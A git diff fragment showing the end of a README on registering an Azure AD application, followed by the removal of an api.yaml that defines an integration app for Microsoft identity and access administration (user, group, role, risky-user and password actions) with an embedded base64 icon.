register a new application go to your **Azure Active Directory** -and once there go down to **App Registrations** a new window will pop up. - -### Step 3: Register a New App -- Set name of your choice. -- Select supported account type. -- You don't have to set redirect URL. - -### Step 4: Generate client secret -- Go to your application → Certificates & Secrets → New client Secret. - -## Note -- You'll need Tenant ID, Client ID & client Secret for authentication (Tenant ID & Client ID are available under application overview and for Client Secret go to Certificate & Secrets section). -- Make sure your application has adequate permissions. -- Each action may require different permission to run. To add permissions, Go to your application in azure portal → API permission → Add permission (some of the permissions will require admin consent). -- After adding permission , Grant consent. -- Some of the actions are not supported on personal account. - - -## References -- To read more about required permission for each action you can refer to [Identity & Access](https://docs.microsoft.com/en-us/graph/api/resources/azure-ad-overview?view=graph-rest-1.0)'s official documentation. diff --git a/microsoft-identity-and-access/1.0.0/api.yaml b/microsoft-identity-and-access/1.0.0/api.yaml deleted file mode 100644 index 9a3e015d..00000000 --- a/microsoft-identity-and-access/1.0.0/api.yaml +++ /dev/null @@ -1,330 +0,0 @@ -app_version: 1.0.0 -name: Microsoft Identity and Access -description: An app for the Microsoft Identity and Access based on https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Overview -contact_info: - name: "dhavaldave" - url: https://twitter.com/dhavaldave98 - email: dhavald@infopercept.com -tags: - - IAM - - Access Management - - Azure Active Directory -categories: - - IAM -authentication: - required: true - parameters: - - name: tenant_id - description: The tenant of the OAuth client - example: "*****" - required: true - schema: - type: string - - name: client_id - description: The client id to use - example: "*****" - multiline: false - required: true - schema: - type: string - - name: client_secret - description: The secret key to use - multiline: false - example: "*****" - required: true - schema: - type: string -actions: - - name: list_users - description: Retrieve a list users in the organization - - name: list_groups - description: Retrieve a list of groups in the organization - #- name: disable_user - # description: Disables a user by setting a random password for them and stopping their current sessions. - # parameters: - # - name: user_email_or_id - # description: id - # multiline: false - # example: "User email address or id" - # required: true - # schema: - # type: string - - name: get_user - description: Deletes a user. Can be restored again within 30 days. Well used in conjunction after the logout user action - parameters: - - name: user_id - description: The user ID to get - multiline: false - example: "User email address or id" - required: true - schema: - type: string - - name: selected_fields - description: Selected fields - multiline: false - example: "Selected fields to get" - required: false - schema: - type: string - - name: delete_user - description: Deletes a user. Can be restored again within 30 days. Well used in conjunction after the logout user action - parameters: - - name: user_email_or_id - description: id - multiline: false - example: "User email address or id" - required: true - schema: - type: string - - name: restore_deleted_user - description: Deletes a user. Can be restored again within 30 days. Well used in conjunction after the logout user action - parameters: - - name: user_email_or_id - description: id - multiline: false - example: "User email address or id" - required: true - schema: - type: string - - name: list_deleted_users - description: Lists deleted information in the tenant - parameters: - - name: user_email_or_id - description: id - multiline: false - example: "User email address or id" - required: true - schema: - type: string - - name: logout_user - description: Logs out the selected user from all session. - parameters: - - name: user_email_or_id - description: id - multiline: false - example: "User email address or id" - required: true - schema: - type: string - - name: list_group_members - description: Retrieve a list of users in a group - parameters: - - name: group_id - description: id - multiline: false - example: "1" - required: true - schema: - type: string - - name: list_administrative_units - description: Retrieve a list of administrativeUnit objects - - name: get_administrative_unit - description: Returns an administrativeUnit by id - parameters: - - name: id - description: id - multiline: false - example: "1" - required: true - schema: - type: string - - name: create_administrative_unit - description: Create administrative unit - parameters: - - name: display_name - description: Name of unit - multiline: false - example: "Sample Name" - required: true - schema: - type: string - - name: description - description: Description for administrative unit - multiline: false - example: "Sample Description" - required: true - schema: - type: string - - name: visibility - description: Set visibility - multiline: false - example: "" - options: - - Public - - HiddenMembership - required: true - schema: - type: string - - name: list_administrative_unit_members - description: Get the memberlist in administrative unit - parameters: - - name: administrative_unit_id - description: id - multiline: false - example: "1" - required: true - schema: - type: string - - name: get_administrative_unit_member - description: Get the member details in administrative unit - parameters: - - name: administrative_unit_id - description: id - multiline: false - example: "1" - required: true - schema: - type: string - - name: member_id - description: id - multiline: false - example: "1" - required: true - schema: - type: string - - name: remove_administrative_unit_member - description: Remove the member in administrative unit - parameters: - - name: administrative_unit_id - description: id - multiline: false - example: "1" - required: true - schema: - type: string - - name: user_or_group_id - description: id - multiline: false - example: "1" - required: true - schema: - type: string - - name: list_risky_users - description: Lists risky users - parameters: - - name: amount - description: 20 - multiline: false - example: "20" - required: true - schema: - type: string - - name: skip - description: 0 - multiline: false - example: "0" - required: true - schema: - type: string - - name: get_risky_user - description: Get risky user by id - parameters: - - name: risky_user_id - description: id - multiline: false - example: "id" - required: true - schema: - type: string - - name: confirm_compromised_users - description: Confirm one or more riskyUser objects as compromised. This action sets the targeted user's risk level to high. - parameters: - - name: risky_user_ids - description: id - multiline: false - example: "seperated by ',' " - required: true - schema: - type: string - - name: dismiss_compromised_users - description: Dismiss one or more riskyUser objects as compromised - parameters: - - name: risky_user_ids - description: id - multiline: false - example: "seperated by ',' " - required: true - schema: - type: string - - name: list_directory_role - description: List the directory roles that are activated in the tenant - - name: list_directory_role_members - description: Retrieve the list of principals that are assigned to the directory role - parameters: - - name: directory_role_id - description: id - multiline: false - example: "id" - required: true - schema: - type: string - - name: add_directory_role_members - description: Add members to directory role - parameters: - - name: directory_role_id - description: id - multiline: false - example: "id" - required: true - schema: - type: string - - name: user_id - description: id - multiline: false - example: "id" - required: true - schema: - type: string - - name: remove_directory_role_members - description: Remove members from directory role - parameters: - - name: directory_role_id - description: id - multiline: false - example: "id" - required: true - schema: - type: string - - name: user_id - description: id - multiline: false - example: "id" - required: true - schema: - type: string - - name: list_password_methods - description: Lists password methods. To be used with reset user password to retrieve id. - parameters: - - name: user_email_or_id - description: id - multiline: false - example: "User email address or id" - required: true - schema: - type: string - - name: reset_user_password - description: Reset user password. Use List Password Methods to find registered password id. - parameters: - - name: user_email_or_id - description: id - multiline: false - example: "User email address or id" - required: true - schema: - type: string - - name: registered_password_id - description: id - multiline: false - example: "The identifier of this password registered to this user" - required: true - schema: - type: string - - name: new_password - description: Password you want to set - multiline: false - example: "****" - required: true - schema: - type: string - -large_image: data:image/png;base64,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